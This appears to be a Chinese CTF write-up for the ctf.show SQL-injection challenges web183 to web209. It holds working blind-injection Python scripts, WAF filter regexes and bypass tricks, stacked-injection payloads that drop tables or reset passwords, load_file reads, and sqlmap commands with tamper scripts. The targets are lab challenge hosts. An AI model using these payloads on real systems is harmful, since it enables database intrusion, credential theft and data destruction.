import requestsurl = 'http://48fa3a20-1717-4446-b1f5-706654acf25b.challenge.ctf.show/select-waf.php' strlist = '{}0123456789-abdcefghijklmnopqrstuvwxyz_' flag = '' for j in range (0 , 100 ): for i in strlist: data = { 'tableName' : "`ctfshow_user`where`pass`like'ctfshow{}%'" .format (flag+i) } respond = requests.post(url, data=data) respond = respond.text if 'user_count = 1' in respond: flag += i print ('ctfshow{}' .format (flag)) break else :print ('===================' +i+'错误' ) if flag[-1 ] == '}' : exit() print ('ctfshow{}' .format (flag))
web184(POST布尔盲注) function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); } 发现sleep，`也被禁了，说明上一题也可以用时间盲注出结果，不过这一题依旧布尔盲注
ctfshow_user为可用表名
看了wp里一个师傅的对上题代码进行修改，成功获得flag
import requestsimport sysurl = 'http://d9d9f822-405c-457e-abc9-bdb088661e6c.challenge.ctf.show/select-waf.php' strlist = '{0123456789-abcdefghijklmnopqrstuvwxyz}' flag = '' c='' d='' for j in range (0 , 100 ): for i in strlist: d =hex (ord (i))[2 :] data = { 'tableName' :"ctfshow_user group by pass having pass regexp(0x{})" .format (flag+d) } respond = requests.post(url, data=data) respond = respond.text if 'user_count = 1' in respond: flag += d c+=i print ('ctfshow{}' .format (c)) break if c[-1 ] == '}' : exit() print ('ctfshow{}' .format (c))
web185(布尔盲注过滤0-9) function waf ($str return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } \*：匹配星号（*）字符。 \x09：匹配水平制表符（Tab）。 \x0a：匹配换行符（New Line）。 \x0b：匹配垂直制表符。 \x0c：匹配换页符。 \0x0d ：匹配回车符（Carriage Return）。 \xa0：匹配不换行空格（Non-breaking Space）。 \x00：匹配空字符（Null Byte）。 \x23：匹配井号（ [0 -9 ]：匹配任何数字。 file：匹配字符串“file”。 =：匹配等号（=）。 or ：匹配字符串“or ”。\x7c：匹配竖线（Pipe）字符。 select：匹配字符串“select”。 and ：匹配字符串“and ”。flag：匹配字符串“flag”。 into：匹配字符串“into”。 where：匹配字符串“where”。 &：匹配和号（Ampersand）。 \' 和 \"：分别匹配单引号和双引号。 union：匹配字符串“union”。 ```：匹配反引号（Backtick），MySQL中用于标识标识符。 sleep：匹配字符串“sleep”。 benchmark：匹配字符串“benchmark”。
这个题对数字0-9进行过滤，因此像上一个题一样用十六进制转换不能成功，贴一个师傅的脚本
import requestsdef creatNum (n ): str = '' for i in range (1 ,n+1 ): if i == 1 : str += "true" else : str += "+true" return str def creatStr (str res = "" for i in range (1 ,len (str )+1 ): temp = ord (str [i-1 ]) if i == 1 : res = "chr(" + creatNum(temp) + ")" else : res += "," + "chr(" + creatNum(temp) + ")" return res url = "http://f1273616-5765-47ae-bb82-0a287117cb02.challenge.ctf.show/select-waf.php" letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz" flag = "ctfshow{" for i in range (50 ): for ch in letters: result = creatStr(flag + ch) data = {"tableName" :"ctfshow_user group by pass having pass regexp(concat({}))" .format (result)} res = requests.post(url = url, data = data) if "$user_count = 1;" in res.text: flag += ch print (flag) break
主要是通过将传入数字,字母和符号转换为true+true的形式，类似于自增，实现绕过0-9限制，运行得到结果
web186(布尔盲注过滤引号)
function waf ($str return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } \*：星号，用于匹配任何字符。 \x09、\x0a、\x0b、\x0c、\x0d：分别代表制表符、换行符、回车符、换页符、回车符。 \xa0：不间断空格。 \%：百分号，用于匹配SQL语句中的通配符。 |：管道符，用于匹配SQL语句中的逻辑或。 <、>：小于、大于符号，用于匹配HTML标签。 \^：脱字符，用于匹配SQL语句中的逻辑非。 \x00：空字符。 \ [0 -9 ]：数字，用于匹配数字类型的注入。 file：文件操作相关的关键词。 =：等号，用于匹配赋值操作。 or 、and ：逻辑运算符。\x7c：竖线，用于匹配SQL语句中的逻辑或。 select、and 、flag、into、where：SQL语句中的关键词。 \x26：和符号，用于匹配逻辑与。 '、"：单引号和双引号，用于匹配SQL注入中的引号。 union：SQL语句中的联合查询关键词。 ``：反引号，用于匹配MySQL中的表名或列名。 sleep、benchmark：SQL函数，用于时间盲注攻击。
发现依旧没过滤上题脚本中的字符，因此可继续使用上题脚本获得flag
web187(MD5函数绕过)
换题型了，该题目含义也就是限定username为admin，通过password传参来实现
$password = md5 ($_POST ['password' ],true );关键代码，实现了post传入的password参数以16 字符的二进制形式返回，如果使得返回'or' 1 (不为0 开头的任何数)就能使查询语句拼接为 password= '' or '1(真)'
补充:php中md5()函数 语法 md5 (string ,true /false /空)string 为必需字符串若第二个变量为true ，会输出原始16 字符二进制格式;为false ，会输出32 字符十六进制数(默认)
强弱比较及绕过 强比较(===):先比较类型再比较值
弱比较(==):先将类型转换再比较值，比如字符串与数字比较则先将字符串转换为数字再进行比较
以下为常见绕过方法(MD5函数中均进行运算再计算MD5值)
1.0e绕过(科学计数法绕过) 以0e开头的数运算后均为0
变式:字符串若计算MD5值后为0e开头，则该值会被计算为0，比如题目(md5(a)==0)，则可通过传入QNKCDZO等绕过
2.数组绕过 md5函数不能处理数组，因此处理数组时，都会返回null，因此在强比较时传入数组会使值相等，GET传参时可使用a[]=1&b[]=2来使两个值相等
3.运算配合类型转换绕过 md5() 遇到运算符，会先运算，再计算结果的MD5值。
当字符串与数字类型运算时，会将字符串转换成数字类型，再参与运算，最后计算运算结果的MD5值。
4.类型转换绕过 虽然 md5() 要求传入字符串，但传入整数或小数也不会报错；数字相同时，数值型和字符串的计算结果是相同的。
注意:MD5常见密码 字符型:ffifdyop
数字型:129581926211651571912466741651878684928
因此这里选择字符型密码，bp抓包重发获得flag
web188(MD5弱比较) if (preg_match ('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==intval ($password )){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], array ('flag' =>$flag )); }
再观察查询语句发现username用{}包裹，即不用考虑闭合
由MD5弱比较(见web187)得，当输入username和password为0时，会匹配所有开头为0或字母的用户，因此直接均输入0则登录成功
布尔盲注 web189(读文件中字符) 注入过程
依旧进行上题的尝试均传入0，但是提示密码错误，那就说明存在用户但是密码不对;username传入1，password传入0时提示查询失败，那就说明用户不存在。题目提示flag在api/index.php文件中，即使用盲注，贴个脚本
import requestsurl = "http://64c78e0d-d38a-468b-b869-a95fa43912ca.challenge.ctf.show/api/" flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789" flag = "" for i in range (257 , 257 + 60 ): for x in flagstr: data = { "username" : f"if(substr(load_file('/var/www/html/api/index.php'),{i} ,1)='{x} ',1,0)" , "password" : "0" } print (data) response = requests.post(url, data=data) if "8d25" in response.text: print (f"++++++++++++++++++ {x} is right" ) flag += x print (flag) break else : continue if "}" in flag: print (flag) exit() print (flag)
运行该脚本获得flag
补充:load_file()函数 #语法 load_file(file_name) 可以返回指定文件的内容，前提是 MySQL 用户具有访问该文件的权限，并且 MySQL 服务器能够读取该文件。 file_name：要读取的文件的完整路径，通常需要用单引号括起来，例如 'C:/path/to/file.txt'
web190(无过滤) 先随便输入一个username=admin,password=1,显示密码错误，说明有admin这个用户但是密码不对，如果输入的是username=1,password=1,显示用户不存在，说明可用admin这个用户来构造payload
构造payload来进行测试，已知库名为ctfshow_web，长度为11，注意这里注释符仅可以使用#,如果是%23，–+都不行
admin' and length(database())=11#显示密码错误 admin' and length(database())=12#显示用户不存在
通过布尔盲注脚本，进行注入
爆库名
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" database_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr(database(),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: database_name += chr (j) print (database_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('数据库名字为: ' + str (database_name))
爆表名
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" table_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: table_name += chr (j) print (table_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('数据表名字为: ' + str (table_name))
爆列名
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" column_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: column_name += chr (j) print (column_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('列名为: ' + str (column_name))
爆数据
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" flag ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr((select f1ag from ctfshow_fl0g),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag += chr (j) print (flag) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('flag为: ' + str (flag))
web191(过滤ascii) 法一:hex() 较上题过滤了ascii()函数，可通过hex绕过，注入思路相同，直接上脚本
import requestsurl="http://4402baeb-90a2-44d9-a577-ebf18276c195.challenge.ctf.show/api/" flag_name ="" hex_values = [ '20' , '21' , '22' , '23' , '24' , '25' , '26' , '27' , '28' , '29' , '2A' , '2B' , '2C' , '2D' , '2E' , '2F' , '30' , '31' , '32' , '33' , '34' , '35' , '36' , '37' , '38' , '39' , '3A' , '3B' , '3C' , '3D' , '3E' , '3F' , '40' , '41' , '42' , '43' , '44' , '45' , '46' , '47' , '48' , '49' , '4A' , '4B' , '4C' , '4D' , '4E' , '4F' , '50' , '51' , '52' , '53' , '54' , '55' , '56' , '57' , '58' , '59' , '5A' , '5B' , '5C' , '5D' , '5E' , '5F' , '60' , '61' , '62' , '63' , '64' , '65' , '66' , '67' , '68' , '69' , '6A' , '6B' , '6C' , '6D' , '6E' , '6F' , '70' , '71' , '72' , '73' , '74' , '75' , '76' , '77' , '78' , '79' , '7A' , '7B' , '7C' , '7D' , '7E' ] for i in range (1 ,100 ): found_character = False for j in hex_values: data={ "username" : f"admin' and hex(substr((select f1ag from ctfshow_fl0g),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag_name += str (j) print (flag_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break byte_data = bytes .fromhex(flag_name) string_data = byte_data.decode('utf-8' ) print ('flag为: ' + string_data)
法二:ord() 看蒙师傅博客还看到了ord函数，但是ord()主要用于MySQL数据库，且对于多字节字符（如 Unicode），返回值可以超出 127，具体取决于字符的编码方式（如 UTF-8）。直接贴个脚本
import requestsurl="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/" flag_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ord(substr((select f1ag from ctfshow_fl0g),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) print (data) if "u8bef" in r.text: flag_name += chr (j) print (flag_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('flag为: ' + str (flag_name))
web192(过滤+ord,hex) 补充:substr() 作用 用于从字符串中提取子字符串
语法 SUBSTR(string, start_position, length)
string: 要从中提取子字符串的源字符串。start_position: 子字符串的起始位置。正数表示从左开始，负数表示从右开始。length(可选): 提取的字符数。如果省略，则提取到字符串末尾。
示例 SELECT SUBSTR('Hello World' , 7 ); SELECT SUBSTR('Hello World' , -5 ); SELECT SUBSTR('Hello World' , 3 , 4 );
注入过程 通过截取字符串substr()函数来进行注入，直接脚本
import requestsurl="http://d3aa66d6-039b-43c6-84c3-aebdeea061ed.challenge.ctf.show/api/" flag_name ="" flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_" for i in range (1 ,100 ): found_character = False for j in flagstr: data={ "username" : f"admin' and substr((select f1ag from ctfshow_fl0g),{i} ,1)='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag_name += j print (flag_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('flag为: ' + str (flag_name))
web193(过滤+substr) 补充:substr()替换函数 注:[]表示可选
left(str,length)从左边开始截取length个长度
right(str,length)从右边开始截取length个长度
substring(str,index,[length])从左边index开始截取length个长度，无length时默认提取到结尾
mid(str,index,length)截取str从index开始，截取length的长度
lpad(str,len,padstr)在str的左边填充给定的padstr到指定的长度len，返回填充的结果
rpad(str,len,padstr)在str的右边填充给定的padstr到指定的长度len，返回填充的结果
注入过程 这里使用left，但是left是从左边开始提取全部字符，比如left(‘123456’,3)=123
注意，这里的表名变了，所以平时一定要一步步来
爆库名
import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" database_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left(database(),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: database_name += j str1 += j print (database_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('库名为: ' + str (database_name))
爆表名
import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" table_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: table_name += j str1 += j print (table_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('表名为: ' + str (table_name))
爆列名
import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" column_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: column_name += j str1 += j print (column_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('列名为: ' + str (column_name))
爆数据
import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" flag ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left((select f1ag from ctfshow_flxg),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag += j str1 += j print (flag) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('flag为: ' + str (flag))
web194(过滤+left,right) 使用mid()函数进行盲注
爆库名
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" database_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid(database(),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: database_name += j str1 += j print (database_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('库名为: ' + str (database_name))
爆表名
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" table_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: table_name += j str1 += j print (table_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('表名为: ' + str (table_name))
爆列名
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" column_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: column_name += j str1 += j print (column_name) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('列名为: ' + str (column_name))
爆数据
import requestsurl="http://d1f5521e-1620-4565-a873-ed76421247a8.challenge.ctf.show/api/" flag ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and mid((select f1ag from ctfshow_flxg),1,{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag += j str1 += j print (flag) found_character = True break if not found_character: print ('未找到更多字符，结束循环。' ) break print ('flag为: ' + str (flag))
堆叠注入 web195(过滤空格和*) 注意到过滤空格和*，由题目可知登录成功即获得flag，提交的用户名为0时显示密码错误，因此用堆叠注入更改密码
username：0 ;update `ctfshow_user`set `pass`= 1 password：1 提交两次可获得flag，第一次更改，第二次登录 注意pass后也有`
web196(伪过滤select) 此处由题目来说是过滤了select的，但是实际并没有，就可以通过select来进行堆叠注入
判断条件为$row[0]==$password，row[0]就是结果这一行的第一个数据
payload为
username:0 ;select (1 ) password:1 原理为row [0 ]处理select (1 )时就会返回1 ，即$row [0 ]= = 1 ，和密码匹配
web197(+select) 这个题将select确实过滤，由于判断条件是登录表中用户，则可通过删除表中数据再重新添加实现
payload为(三选一均可)
username:1 ;drop table ctfshow_user;#删除原来的表ctfshow_user create table ctfshow_user(username varchar (100 ),pass varchar (100 )); #在ctfshow_user中新建两个最大长度为100 的字段insert ctfshow_user(username,pass) value (1 ,2 ); #为这两个字段赋值为1 和2 完整payload: username:1 ;drop table ctfshow_user;create table ctfshow_user(username varchar (100 ),pass varchar (100 ));insert ctfshow_user(username,pass) value (1 ,2 ); password:2 也可以通过alert的方法实现 username:0 ;alter table ctfshow_user drop pass;alter table ctfshow_user add pass int default 1 password:1 看wp还有一种和上题思路类似的 username:0 ;show tables password:ctfshow_user
web198(+create) 把上题的create禁用了，因此可用insert(插入)方法
payload为(二选一即可)
username:1 ;insert ctfshow_user(username,pass) value (1 ,2 ) password:2 原理为向表中插入一组数据，登录即可 username:0 ;show tables password:ctfshow_user
web199(+()) 把括号禁用，还可以用表名
patload为
username:0 ;show tables password:ctfshow_user
web200(+,) 过滤逗号，和上题一样的思路
username:0 ;show tables password:ctfshow_user
sqlmap使用 web201(UA,referer检查) 首先根据题目要指定agent和绕过referer检查，因此构造payload(-batch为自动选择)
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch 检测注入点，如下图，未指定UA也可以，可以进行时间盲注和union注入
爆库名
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -dbs
爆表名
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/api/?id=1 --referer http://8c812db9-acb0-4e05-9b19-410e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -columns
爆数据
python sqlmap.py -u http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/api/?id =1 --referer http://8c812db9-acb0-4e05 -9b19-4 10e57bfaf5f.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
web202(POST请求) 通过-data更换为POST请求方式
python sqlmap.py -u http://d18ed34e-1866 -4884 -b756-16f40334ff59.challenge.ctf.show/api/ --data id =1 --referer https://d18ed34e-1866 -4884 -b756-16f40334ff59.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
web203(PUT请求) 通过–method调整请求方式为PUT，并且加上–headers=”Content-Type: text/plain”，PUT 请求通常包含请求体（payload），因此需要通过headers来提供有关请求体的信息
python sqlmap.py -u http://724abbe9-4be1-4a25-b97d-e9c81b831563.challenge.ctf.show/api/index.php --data id =1 --method="PUT" --headers="Content-Type: text/plain" --referer http://724abbe9-4be1-4a25-b97d-e9c81b831563.challenge.ctf.show/sqlmap.php -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
web204(cookie) 要加上cookie值了，即添加–cookie
python sqlmap.py -u http://dcb44cf5-4c99-4186 -9a3a-9291fcf51b36.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" --cookie PHPSESSID=6sh7omtbvr2l5m9qd6po1ovoe6; ctfshow=803c499b0ad861be99cf0c1117d91dea -batch -D ctfshow_web -T ctfshow_user -C id ,pass ,username -dump
以下是对该题的waf
if ($_COOKIE ['ctfshow' ]!=$_SESSION ['ctfshow' ]){ die (json_encode (array ("token验证失败" ))); } if ('PUT' == $_SERVER ['REQUEST_METHOD' ]) { $put = file_get_contents ('php://input' ); if (substr ($put , 0 ,3 )=='id=' ){ $id =substr ($put , 3 ,strlen ($put )); } } if (!preg_match ('/sqlmap/i' , $ua )){ die (json_encode (array ("不使用sqlmap是没有灵魂的" ))); } if (!preg_match ('/ctf\.show/i' , $_SERVER ['HTTP_REFERER' ])){ die (json_encode (array ("打击盗版人人有责，你都不是从ctf.show来的" ))); } function waf ($str return preg_match ('/ujn/' , $str ); }
web205(api鉴权) 要求api调用鉴权，在每次查询数据库时会先访问/getToken.php，于是使用–safe-url参数将url设置为api/getToken，再加上–safe-preq=1表示访问api/getToken一次(注意要重新爆表名)
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -dbs
爆表名
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -columns
爆flag
python sqlmap.py -u http://0414f3a9-59c0-4858 -b634-452ef2be4d56.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://0414f3a9-59c0-4858-b634-452ef2be4d56.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump
web206(‘)闭合) 同web205即可，’)sqlmap会自动检测闭合，但是要重新爆表名
爆库名
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -dbs
爆表名
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -columns
爆flag
python sqlmap.py -u http://8 1038f77-c314-42aa-8e21 -61ddba4597a5.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://81038f77-c314-42aa-8e21-61ddba4597a5.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv -dump
web207(绕过空格过滤) 使用–tamper中的space2comment.py绕过waf检测
爆库名
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -dbs
爆表名
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -columns
爆flag
python sqlmap.py -u http://898394b9-0e78 -47ff-9ed2-8934e2372b33.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://898394b9-0e78-47ff-9ed2-8934e2372b33.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc -dump
web208(绕过select过滤) 加入对’select’ 的过滤，使用upppercase这个脚本
爆库名
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -dbs
爆表名
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -tables
爆列名
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -columns
爆flag
python sqlmap.py -u http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show//api/index.php --method="PUT" --data id =1 --referer=ctf.show --headers="Content-Type: text/plain" -batch --safe-url="http://683f8c95-454f-400f-be23-4251f627e3f6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca -dump
web209(绕过空格*=过滤) 由于tamper里面没有绕过这个的，所以自己写脚本实现，将以下代码在sqlmap/tamper里面存为text.py后使用
def tamper (payload, **kwargs ): space = chr (0x0d ) return payload.replace(' ' , space).replace('=' , space + 'like' + space)
爆库名
